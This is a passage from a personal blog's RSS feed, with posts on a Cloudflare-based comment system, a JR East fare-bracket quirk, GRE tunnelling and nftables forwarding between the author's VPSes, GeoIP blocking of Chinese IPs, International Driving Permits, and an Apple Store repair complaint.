&lt;li&gt;Cloudflare-native infrastructure only&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So instead of extending Artalk, I built a focused API-first comment service for my own use case.&lt;/p&gt;
&lt;h2&gt;Architecture&lt;/h2&gt;
&lt;p&gt;The current architecture is intentionally minimal.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The blog frontend sends requests to a comment API endpoint.&lt;/li&gt;
&lt;li&gt;Cloudflare Workers handles validation, moderation, and notification.&lt;/li&gt;
&lt;li&gt;D1 stores pages, comments, threading metadata, and moderation state.&lt;/li&gt;
&lt;li&gt;Telegram Bot receives new-comment notifications for moderation and admin replies.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The frontend is custom, integrated into my Hugo theme, and styled to keep the previous reading experience close to what I had before.&lt;/p&gt;
&lt;h2&gt;Core Features&lt;/h2&gt;
&lt;h3&gt;1) API-first comment service&lt;/h3&gt;
&lt;p&gt;No separate admin panel or heavy UI dependency in the backend. The Worker exposes clean endpoints for posting comments, listing comments, and stats.&lt;/p&gt;
&lt;h3&gt;2) Threaded comments with pagination&lt;/h3&gt;
&lt;p&gt;Each comment keeps &lt;code&gt;parent_id&lt;/code&gt;, &lt;code&gt;root_id&lt;/code&gt;, and &lt;code&gt;depth&lt;/code&gt;, and public listing supports page-based pagination.&lt;/p&gt;
&lt;h3&gt;3) Flexible moderation&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;AUTO_APPROVE&lt;/code&gt; controls default behavior:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;AUTO_APPROVE=false&lt;/code&gt;: new comments are pending&lt;/li&gt;
&lt;li&gt;&lt;code&gt;AUTO_APPROVE=true&lt;/code&gt;: new comments are approved immediately&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In both modes, Telegram notifications are sent.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Pending comments show &lt;code&gt;Approve / Spam / Delete&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Auto-approved comments show &lt;code&gt;Spam / Delete&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;4) Admin identity and anti-impersonation&lt;/h3&gt;
&lt;p&gt;Reserved admin emails are blocked from public submission, so regular users cannot pretend to be the site owner.&lt;/p&gt;
&lt;h3&gt;5) Gravatar and metadata&lt;/h3&gt;
&lt;p&gt;Avatar URLs are generated from email via Gravatar hash.&lt;/p&gt;
&lt;p&gt;For network metadata, the system uses &lt;code&gt;api.ipinfo.es&lt;/code&gt; and stores country, ASN, and related fields in D1. Country display uses full country name and a separate country code for flags.&lt;/p&gt;
&lt;h3&gt;6) Consistent timestamps&lt;/h3&gt;
&lt;p&gt;API timestamps are normalized to include timezone offsets, so old imported comments and new comments use a consistent format.&lt;/p&gt;
&lt;h2&gt;Migration from Artalk&lt;/h2&gt;
&lt;p&gt;I migrated historical comments from an Artalk export file (&lt;code&gt;.artrans&lt;/code&gt;) into D1.&lt;/p&gt;
&lt;p&gt;High-level process:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Export data from the old Artalk instance.&lt;/li&gt;
&lt;li&gt;Convert &lt;code&gt;.artrans&lt;/code&gt; to D1-compatible SQL with a converter script.&lt;/li&gt;
&lt;li&gt;Apply schema migrations on D1.&lt;/li&gt;
&lt;li&gt;Import SQL into D1.&lt;/li&gt;
&lt;li&gt;Run normalization migrations (owner identity, metadata fixes).&lt;/li&gt;
&lt;li&gt;Verify thread structure, timestamps, and moderation state.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This gave me a smooth transition without losing old threads.&lt;/p&gt;
&lt;h2&gt;Why This Stack Fits My Blog&lt;/h2&gt;
&lt;p&gt;I wanted one platform for everything.&lt;/p&gt;
&lt;p&gt;Now the entire blog stack is inside Cloudflare:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Pages for Hugo deployment&lt;/li&gt;
&lt;li&gt;R2 for objects&lt;/li&gt;
&lt;li&gt;CDN for global delivery&lt;/li&gt;
&lt;li&gt;Workers for compute logic&lt;/li&gt;
&lt;li&gt;D1 for relational comment data&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;No extra VM, no extra database vendor, no mixed ops stack.&lt;/p&gt;
&lt;h2&gt;Final Notes&lt;/h2&gt;
&lt;p&gt;This system is built for my blog first, but the architecture is reusable.&lt;/p&gt;
&lt;p&gt;The most important part for me is that I now control the full comment pipeline end to end: data model, moderation workflow, frontend behavior, and deployment.&lt;/p&gt;
&lt;p&gt;Migrating from Artalk was straightforward once the converter and D1 migrations were in place.&lt;/p&gt;
</content:encoded></item><item><title>JR East Japan Billing Issue</title><link>https://missuo.me/posts/jr-east-bug/</link><guid isPermaLink="true">https://missuo.me/posts/jr-east-bug/</guid><description>A discovery of a JR East fare calculation quirk where splitting a journey at Kinshichō was cheaper than riding continuously, caused by the tiered distance-based pricing system jumping to a higher bracket at the 120 km boundary.</description><pubDate>Sat, 14 Feb 2026 06:46:19 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;现在正在 &lt;strong&gt;湘南新宿ライン&lt;/strong&gt; 的 &lt;strong&gt;Green Car&lt;/strong&gt;，前段时间从「上野（御徒町）」去「房総半島」玩，奇怪的发现我来回支付的价格不一样，而且最关键的是完全违背常理。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;问题&lt;/h2&gt;
&lt;h3&gt;去程&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;御徒町 &amp;gt; 錦糸町&lt;/li&gt;
&lt;li&gt;錦糸町 &amp;gt; 富浦&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;其中在「錦糸町」出站，支付了 ¥167，之后从「錦糸町」入站直接到「富浦」出站，支付了 ¥1980，合计 ¥2147。&lt;/p&gt;
&lt;div&gt;
  &lt;img src=&quot;https://r2.uid.ac/blog/20260214rpopYF.PNG&quot; alt=&quot;20260214rpopYF&quot; /&gt;
  &lt;img src=&quot;https://r2.uid.ac/blog/20260214xfb01R.PNG&quot; alt=&quot;20260214xfb01R&quot; /&gt;
&lt;/div&gt;
&lt;h3&gt;回程&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;富浦 &amp;gt; 御徒町&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;直接从「富浦」入站，到「御徒町」出站，支付了 ¥2310。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://r2.uid.ac/blog/20260214JcJoOc.PNG&quot; alt=&quot;20260214JcJoOc&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;问题&lt;/h2&gt;
&lt;p&gt;细心的朋友已经发现问题了。我连续计费从头坐到尾的价格竟然比出站之后重新入站更贵。也就是说你坐的路程越长，单价并不一定更低，这完全违背了基本常识。&lt;/p&gt;
&lt;h2&gt;来自 Gemini 的解释&lt;/h2&gt;
&lt;p&gt;这是一个非常经典的 JR 运费计算&quot;Bug&quot;（其实是由于运费区间的阶梯定价机制造成的）。&lt;/p&gt;
&lt;p&gt;简单来说，你&quot;出站再进站&quot;的操作，正好让你避开了一个昂贵的运费跳档。&lt;/p&gt;
&lt;p&gt;这里是具体的数学拆解：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. 核心原因：运费的&quot;阶梯&quot;跳得太高了&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;JR 东日本的运费是按里程分段计价的。随着距离增加，每一段的价格会跳涨。你正好处于一个临界点上：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;锦糸町 &amp;gt; 富浦&lt;/strong&gt; 的距离大约是 118 km&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;它落在 101 ~ 120 km 的计费区间内&lt;/li&gt;
&lt;li&gt;这个区间的 IC 卡票价是 1,980 日元&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;御徒町 &amp;gt; 锦糸町&lt;/strong&gt; 的距离大约是 4.4 km&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;这属于短途区间&lt;/li&gt;
&lt;li&gt;票价是 167 日元&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;2. 连续计费的陷阱&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;当你不出站，直接从 富浦 &amp;gt; 御徒町 时，里程是累加的：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;122.4 km 刚好超过了 120 km 的界限，掉进了下一个更贵的区间：121 ~ 140 km&lt;/li&gt;
&lt;li&gt;这个区间的票价直接跳涨到了 2,310 日元&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;3. 算一笔账&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;方式&lt;/th&gt;
&lt;th&gt;价格计算&lt;/th&gt;
&lt;th&gt;总价&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;分段买&lt;/td&gt;
&lt;td&gt;1,980 (长途) + 167 (短途)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;2,147 日元&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;连续买&lt;/td&gt;
&lt;td&gt;升级到下一档运费&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;2,310 日元&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;差价原因：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;JR 的运费表里，从&quot;101-120km&quot;升级到&quot;121-140km&quot;这一档，价格一口气涨了 330 日元 (2,310 - 1,980)。&lt;/p&gt;
&lt;p&gt;而你实际多坐的那段路（锦糸町-御徒町）单独买只需要 167 日元。&lt;/p&gt;
&lt;p&gt;因为 &lt;strong&gt;330 &amp;gt; 167&lt;/strong&gt;，所以被系统&quot;自动升级&quot;到下一档反而更贵，手动拆开反而便宜。这在 JR 的运费体系中属于一种已知现象，通常发生在长途旅行刚好卡在某个运费区间边缘，再多坐几公里就会触发&quot;大额跳档&quot;的时候。&lt;/p&gt;
</content:encoded></item><item><title>SAKURA VPS International QoS Issues</title><link>https://missuo.me/posts/sakura-vps/</link><guid isPermaLink="true">https://missuo.me/posts/sakura-vps/</guid><description>A technical guide to bypassing SAKURA VPS international QoS bandwidth throttling by establishing a GRE tunnel through a commercial VPS like GreenCloudVPS, with detailed nftables port forwarding configuration.</description><pubDate>Mon, 05 Jan 2026 13:48:57 GMT</pubDate><content:encoded>&lt;p&gt;日本的 SAKURA Internet Inc. (AS9370) 即使在近些年大不如前，但仍然因为其 IP 质量（接近日本家庭宽带），再加上无限流量，备受玩家喜爱。当然这家的机子也并不好买，需要日本的真实地址，以及日本的手机号。&lt;/p&gt;
&lt;p&gt;主播在大概半年之前注册了一个 SAKURA 和 WebARENA Indigo 帐号，一直在使用 SAKURA VPS，一直存在的问题就是从中国到日本根本跑不满限速的 100Mbps。因为存在国际 QoS 的问题。&lt;/p&gt;
&lt;h2&gt;如何解决国际 QoS 问题&lt;/h2&gt;
&lt;p&gt;这个方案也一样适用于 Indigo。简单来说，就是用一台主流的商宽 VPS (比如 GreenCloudVPS) 和 SAKURA 建立 GRE 隧道，然后将国际入站的流量先到 GreenCloudVPS，再从 GreenCloudVPS 的 GRE Tunnel 到 SAKURA，这样就能绕过 SAKURA 的国际 QoS 了。&lt;/p&gt;
&lt;p&gt;玩 GRE Tunnel 的前提是你的云服务商没有禁用 Protocol 47。&lt;/p&gt;
&lt;p&gt;在两个服务器上加载 GRE module：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo modprobe ip_gre
echo &quot;ip_gre&quot; | sudo tee -a /etc/modules
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;例如服务器 A 公网 IP：&lt;code&gt;23.191.8.1&lt;/code&gt;，服务器 B 公网 IP：&lt;code&gt;23.191.8.2&lt;/code&gt;。内网地址：&lt;code&gt;10.0.0.1&lt;/code&gt; 和 &lt;code&gt;10.0.0.2&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;接下来在服务器 A 上添加一个 GRE 接口：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nano /etc/network/interfaces
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;auto tun-gre
iface tun-gre inet static
    address 10.0.0.1
    netmask 255.255.255.252
    pre-up ip tunnel add tun-gre mode gre remote 23.191.8.2 local 23.191.8.1 ttl 255
    post-up ip link set dev tun-gre mtu 1450
    post-down ip tunnel del tun-gre
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在服务器 B 上同样添加 GRE 接口：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nano /etc/network/interfaces
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;auto tun-gre
iface tun-gre inet static
    address 10.0.0.2
    netmask 255.255.255.252
    pre-up ip tunnel add tun-gre mode gre remote 23.191.8.1 local 23.191.8.2 ttl 255
    post-up ip link set dev tun-gre mtu 1450
    post-down ip tunnel del tun-gre
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;测试 GRE Tunnel 是否成功：&lt;/p&gt;
&lt;p&gt;在服务器 A 上：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ping 10.0.0.2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;像我这样就是成功了，而且两个服务器之间有着非常优秀的网络质量。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ping 10.0.0.2
PING 10.0.0.2 (10.0.0.2) 56(84) bytes of data.
64 bytes from 10.0.0.2: icmp_seq=1 ttl=64 time=1.79 ms
64 bytes from 10.0.0.2: icmp_seq=2 ttl=64 time=1.80 ms
64 bytes from 10.0.0.2: icmp_seq=3 ttl=64 time=1.89 ms
64 bytes from 10.0.0.2: icmp_seq=4 ttl=64 time=1.83 ms
64 bytes from 10.0.0.2: icmp_seq=5 ttl=64 time=1.77 ms
64 bytes from 10.0.0.2: icmp_seq=6 ttl=64 time=1.88 ms
64 bytes from 10.0.0.2: icmp_seq=7 ttl=64 time=1.68 ms
64 bytes from 10.0.0.2: icmp_seq=8 ttl=64 time=1.87 ms
64 bytes from 10.0.0.2: icmp_seq=9 ttl=64 time=1.81 ms
64 bytes from 10.0.0.2: icmp_seq=10 ttl=64 time=1.92 ms
64 bytes from 10.0.0.2: icmp_seq=11 ttl=64 time=1.71 ms
64 bytes from 10.0.0.2: icmp_seq=12 ttl=64 time=1.77 ms
64 bytes from 10.0.0.2: icmp_seq=13 ttl=64 time=1.99 ms
64 bytes from 10.0.0.2: icmp_seq=14 ttl=64 time=1.71 ms
^C
--- 10.0.0.2 ping statistics ---
14 packets transmitted, 14 received, 0% packet loss, time 13021ms
rtt min/avg/max/mdev = 1.680/1.814/1.987/0.083 ms
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后只要配置 nftables 将流量从服务器 A 的 GRE Tunnel 转发到服务器 B 的 GRE Tunnel 即可。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nano /etc/nftables.conf
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/sbin/nft -f

flush ruleset

table ip my_proxy_forward {
    # 处理入站 DNAT
    chain prerouting {
        type nat hook prerouting priority dstnat; policy accept;

        # 将发往 A:32767 的流量转发到 B 的隧道地址 10.0.0.2
        tcp dport 32767 dnat to 10.0.0.2
        udp dport 32767 dnat to 10.0.0.2
        # 将发往 A:26002 的流量转发到 B 的隧道地址 10.0.0.2
        tcp dport 26002 dnat to 10.0.0.2
        udp dport 26002 dnat to 10.0.0.2
    }

    # 处理出站 SNAT (Masquerade)
    chain postrouting {
        type nat hook postrouting priority srcnat; policy accept;

        # 确保回程流量通过隧道：
        # 当流量发往 B 的隧道 IP 时，将源地址改为 A 的隧道 IP (10.0.0.1)
        ip daddr 10.0.0.2 oifname &quot;tun-gre&quot; masquerade
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后启动 nftables 即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo nft -f /etc/nftables.conf
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Block Inbound Traffic from Mainland China</title><link>https://missuo.me/posts/block-china-inbound/</link><guid isPermaLink="true">https://missuo.me/posts/block-china-inbound/</guid><description>A technical guide on using nftables with GeoIP to block inbound traffic from China, featuring a custom Go tool (auto-update-mmdb) that automatically downloads GeoLite2 database and generates IP sets for firewall rules.</description><pubDate>Wed, 19 Nov 2025 12:27:50 GMT</pubDate><content:encoded>&lt;p&gt;To prevent my server IP from being blocked by the GFW (Great Firewall), I wanted to ensure that my server is only accessible from outside mainland China. The most effective way to achieve this is by adding firewall rules to block all inbound traffic from Chinese IP addresses.&lt;/p&gt;
&lt;p&gt;While &lt;code&gt;iptables&lt;/code&gt; with &lt;code&gt;xt_geoip&lt;/code&gt; has been a popular choice for years, &lt;code&gt;nftables&lt;/code&gt; is the modern replacement in the Linux ecosystem. However, &lt;code&gt;nftables&lt;/code&gt; lacks built-in support for GeoIP or MMDB (MaxMind Database) lookups out of the box. To bridge this gap, we need a way to generate &lt;code&gt;nftables&lt;/code&gt;-compatible IP sets from a GeoIP database.&lt;/p&gt;
&lt;p&gt;In this post, I&apos;ll share a tool I built to automate this process: &lt;strong&gt;Auto Update MMDB&lt;/strong&gt;. It automatically fetches the latest GeoLite2 data, extracts Chinese network ranges, and generates the necessary &lt;code&gt;nftables&lt;/code&gt; configuration files.&lt;/p&gt;
&lt;h2&gt;The Solution: Auto Update MMDB&lt;/h2&gt;
&lt;p&gt;I created a simple Go utility called &lt;code&gt;auto-update-mmdb&lt;/code&gt;. It performs the following tasks:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Downloads the latest &lt;code&gt;GeoLite2-Country.mmdb&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Parses the database to find all IPv4 and IPv6 ranges associated with China (CN).&lt;/li&gt;
&lt;li&gt;Generates &lt;code&gt;nftables&lt;/code&gt; set files (&lt;code&gt;cn4.nft&lt;/code&gt; and &lt;code&gt;cn6.nft&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Reloads &lt;code&gt;nftables&lt;/code&gt; to apply the changes.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;You can find the source code on GitHub: &lt;a href=&quot;https://github.com/missuo/auto-update-mmdb&quot;&gt;missuo/auto-update-mmdb&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Installation and Setup&lt;/h2&gt;
&lt;p&gt;First, we need to install the tool. You can build it from source using Go:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git clone https://github.com/missuo/auto-update-mmdb.git
cd auto-update-mmdb
go build -o /usr/local/bin/auto-update-mmdb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once installed, you can run it manually to generate the initial IP sets:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo /usr/local/bin/auto-update-mmdb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will create the following files:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/usr/share/GeoIP/GeoLite2-Country.mmdb&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/etc/nftables.d/cn4.nft&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/etc/nftables.d/cn6.nft&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Automating Updates&lt;/h3&gt;
&lt;p&gt;IP addresses change over time, so it&apos;s important to keep the database updated. We can use a systemd timer to run the update daily.&lt;/p&gt;
&lt;p&gt;Create a service file &lt;code&gt;/etc/systemd/system/auto-update-mmdb.service&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[Unit]
Description=Auto Update GeoLite2 MMDB
After=network-online.target
Wants=network-online.target

[Service]
Type=oneshot
ExecStart=/usr/local/bin/auto-update-mmdb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And a timer file &lt;code&gt;/etc/systemd/system/auto-update-mmdb.timer&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[Unit]
Description=Auto Update GeoLite2 MMDB Daily

[Timer]
OnCalendar=daily
Persistent=true

[Install]
WantedBy=timers.target
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Enable and start the timer:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo systemctl daemon-reload
sudo systemctl enable --now auto-update-mmdb.timer
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Configuring nftables&lt;/h2&gt;
&lt;p&gt;Now that we have the IP sets ready, we can use them in our &lt;code&gt;nftables&lt;/code&gt; configuration.&lt;/p&gt;
&lt;p&gt;Edit your &lt;code&gt;/etc/nftables.conf&lt;/code&gt;. You need to include the generated files and then reference the sets (&lt;code&gt;@cn4&lt;/code&gt; and &lt;code&gt;@cn6&lt;/code&gt;) in your rules.&lt;/p&gt;
&lt;p&gt;Here is a complete example that blocks traffic from China on a specific port (e.g., 2333), while allowing other traffic:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/sbin/nft -f

flush ruleset

table inet filter {
    # Import the generated IP sets
    include &quot;/etc/nftables.d/cn4.nft&quot;
    include &quot;/etc/nftables.d/cn6.nft&quot;

    chain input {
        type filter hook input priority 0;

        # Allow loopback and established connections
        iifname &quot;lo&quot; accept
        ct state established,related accept

        # Block SSH (port 22) from China
        tcp dport 22 ip saddr @cn4 drop
        tcp dport 22 ip6 saddr @cn6 drop

        # Block China IPs on port 2333 (TCP &amp;amp; UDP)
        tcp dport 2333 ip saddr @cn4 drop
        udp dport 2333 ip saddr @cn4 drop

        tcp dport 2333 ip6 saddr @cn6 drop
        udp dport 2333 ip6 saddr @cn6 drop

        # Allow everything else by default
        accept
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Blocking All Traffic&lt;/h3&gt;
&lt;p&gt;If you want to block &lt;em&gt;all&lt;/em&gt; inbound traffic from China, you can simplify the rules:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    # Drop all traffic from China
    ip saddr @cn4 drop
    ip6 saddr @cn6 drop
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After modifying the configuration, restart &lt;code&gt;nftables&lt;/code&gt; to apply the rules:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo systemctl restart nftables
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;By combining &lt;code&gt;nftables&lt;/code&gt; with a simple automation tool, we can effectively manage geolocation-based firewall rules without relying on legacy tools or complex dependencies. This setup ensures your server remains inaccessible from specific regions while keeping the IP database up-to-date automatically.&lt;/p&gt;
</content:encoded></item><item><title>Two different IDPs</title><link>https://missuo.me/posts/idp/</link><guid isPermaLink="true">https://missuo.me/posts/idp/</guid><description>An explanation of the two types of International Driving Permits under the 1949 Geneva and 1968 Vienna conventions, why Chinese citizens cannot easily obtain them, and the workaround through US state license exchange.</description><pubDate>Mon, 29 Sep 2025 08:40:43 GMT</pubDate><content:encoded>&lt;p&gt;IDP 是 International Driver&apos;s Permit 的缩写，也就是我们常说的“国际驾照”。它被全世界范围内的大部分国家认可，也就是说你有了 IDP 就可以在全世界大部分国家租车和开车。然而中国人几乎无法获得 IDP，原因稍后我会说。淘宝上常见的 IAA 严格意义上只不过是一个高级的翻译件而已，并没有什么用，另外请注意大部分的代办 IDP 都是给你办的假的，请不要浪费钱，更不要使用假的 IDP。&lt;/p&gt;
&lt;h2&gt;两种 IDP&lt;/h2&gt;
&lt;p&gt;存在两种 IDP 的原因是因为存在两种道路交通公约，分别是 1949 年的《日内瓦道路交通公约》和 1968 年的《维也纳道路交通公约》。大部分国家都加入了 1949 年的公约，中国没有加入，中华民国（台湾）加入了。&lt;/p&gt;
&lt;p&gt;大部分国家只承认 1949 年的日内瓦公约的 IDP，而 1968 年的维也纳公约的 IDP 认可度比较低，1949 年的 IDP 有效期为一年，而 1968 年的 IDP 有效期为三年。&lt;/p&gt;
&lt;p&gt;目前可知的情况是使用 1968 年的 IDP 并不能在日本开车，但是在韩国可以。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;If you plan to drive in Japan, you will need an international driver&apos;s license based on the Road Traffic Convention of September 19, 1949 (Geneva Convention).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;以上来自 NIPPON RENT A CAR 的官网。&lt;/p&gt;
&lt;h2&gt;中国人为什么几乎不可能获得 IDP&lt;/h2&gt;
&lt;p&gt;原因其实也很简单，当初中国并没有加入日内瓦道路公约，只有签约国才有资格签发 IDP。而中华民国（台湾）加入了日内瓦道路公约，所以台湾人可以获得 IDP。更有趣的是中华民国（台湾）加入了两个公约，可以任意选择需要有效期更长的 1968 年 IDP 或是有效期一年的 1949 年 IDP。更特别的是台湾驾照在日本租车开车仅需日文翻译件。&lt;/p&gt;
&lt;p&gt;中国人获得 IDP 的方式只有去海外，比如之前的去济州岛考韩国驾照换 IDP，现在已经走不通了。又或者在中国驾照换香港驾照，香港驾照再换澳洲驾照，澳洲驾照再换 IDP，现在似乎也已经走不通的。目前可行的是，中国驾照在美国的部分州换美国驾照，再去 AAA 换 IDP（似乎只能签发 1949 年版本），仅需 $20。有些国家对于 IDP 的签发有身份要求，好在 AAA 只是一个协会，并不在乎你是什么身份，另外值得一提的是 NJ 的 MVC 也并不关心你是什么身份，即使是非法移民也拥有同等的获得驾照的权利。&lt;/p&gt;
&lt;h2&gt;IDP 适用范围&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20250403KzSaN5.png&quot; alt=&quot;20250403KzSaN5&quot; /&gt;&lt;/p&gt;
&lt;p&gt;灰色部分是不承认 IDP 的国家和地区。（非洲和南美洲部分地区以及中国大陆不能使用 IDP 开车）&lt;/p&gt;
&lt;h2&gt;如何通过中国驾照在 NJ MVC 换取美国驾照&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://missuo.me/posts/nj-mvc-license/&quot;&gt;中国驾照在 NJ MVC 换取美国驾照&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>The worst Apple Store in the world - Apple Taipei 101</title><link>https://missuo.me/posts/taipei-101-apple-store/</link><guid isPermaLink="true">https://missuo.me/posts/taipei-101-apple-store/</guid><description>A detailed account of an extremely frustrating AppleCare+ replacement experience at Apple Taipei 101, where staff refused in-store service for an international iPhone, contrasted with successful resolution at the nearby Xinyi A13 store.</description><pubDate>Sat, 02 Aug 2025 10:12:17 GMT</pubDate><content:encoded>&lt;h2&gt;中文&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;我的好朋友面条都给我想好了这篇文章的链接，看来是不写不行了。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;在整个台湾仅有两家 Apple Store，分别是 Apple Taipei 101 和 Apple Xinyi A13。两家店走路仅需 650 米，大约仅需 9 分钟。前段时间刚好飞到了台北。我的 iPhone 16 Pro 因为进水需要使用 AppleCare One 换机。&lt;/p&gt;
&lt;p&gt;第一天我预约了 Apple Xinyi A13 的维修，到店之后小哥服务态度挺不错，表示可以帮我看看能不能处理好。后面他拿进去处理了一下之后告诉我可以充电了，拿了一个充电器给我演示了一下，确实可以充电了。他告诉我，台湾这边比较严格，如果镜头没有明显的起雾，还可以充电一般是不会给换机的。我表示理解，就直接回去了。但是一到酒店发现充了一会开始发热，且自动关机了。我又预约了当日的 Apple Taipei 101，因为 Apple Xinyi A13 当日已经预约满了。&lt;/p&gt;
&lt;p&gt;到了 Apple Taipei 101 之后，有一个小哥过来，他看了一眼在 Apple Xinyi A13 的 Case 之后，听完我的描述，直接告知我你的手机必须要返厂，需要寄回新加坡，大概需要等待 7-14 天，无法选择店内维修。且告诉我在台湾这边所有的外版设备都必须要返厂。这个时候我就提出了质疑，我问他是不是没有外版设备在店内换机的先例，他说没有，如果你是台版机子可以直接店内换机，外版不行。而我的好朋友 SteveYi 的机子就是日版在台湾售后直接当场换机。他听完之后给我的解释是，他不知道，他说一切都是系统做的判断，他给我展示他的 iPad 无法选择店内维修。我显然并不认可他的解释。后面这个小哥非常不耐烦，让我跟他的主管谈，后面有一个女主管从里面出来和我聊，女主管也是一样的说辞。她说，你的设备刚好被抽中了，必须要返厂，无法做店内维修，我问她 Apple 的售后系统决定设备怎么维修是抽签买彩票的吗？她解释说只是举个例子。最关键的是，我在 Apple Taipei 101 之后，他们甚至都没有做任何的检测，连我的手机都没有碰一下就要我返厂。而按照 Apple 的规定，任何进水的机子是没有维修的必要，只能换机处理，所以所谓的返厂只不过就是强行让你多等两周而已。后面在我的坚持下，女主管说拿进去看一下试纸有没有变色，她说一般 iPhone 会有两个试纸，一个在内部一个在外部，如果有变色说明已经进水。结果折腾一圈回来跟我说你的设备由于没有卡槽，没有外部试纸，所以内部试纸有没有变色也不确定。然后告知我，刚刚测试过了，现在可以充电了。我让她拿个充电器过来试一下，结果刚插上 10-20 秒，就无法充电了，故障已经在她面前清晰复现。她说她再帮我尝试一下能不能申请换机，然后跟我说还是无法店内维修。最搞笑的是，我刚进店描述的故障，第一个工作人员压根没有写到 Case 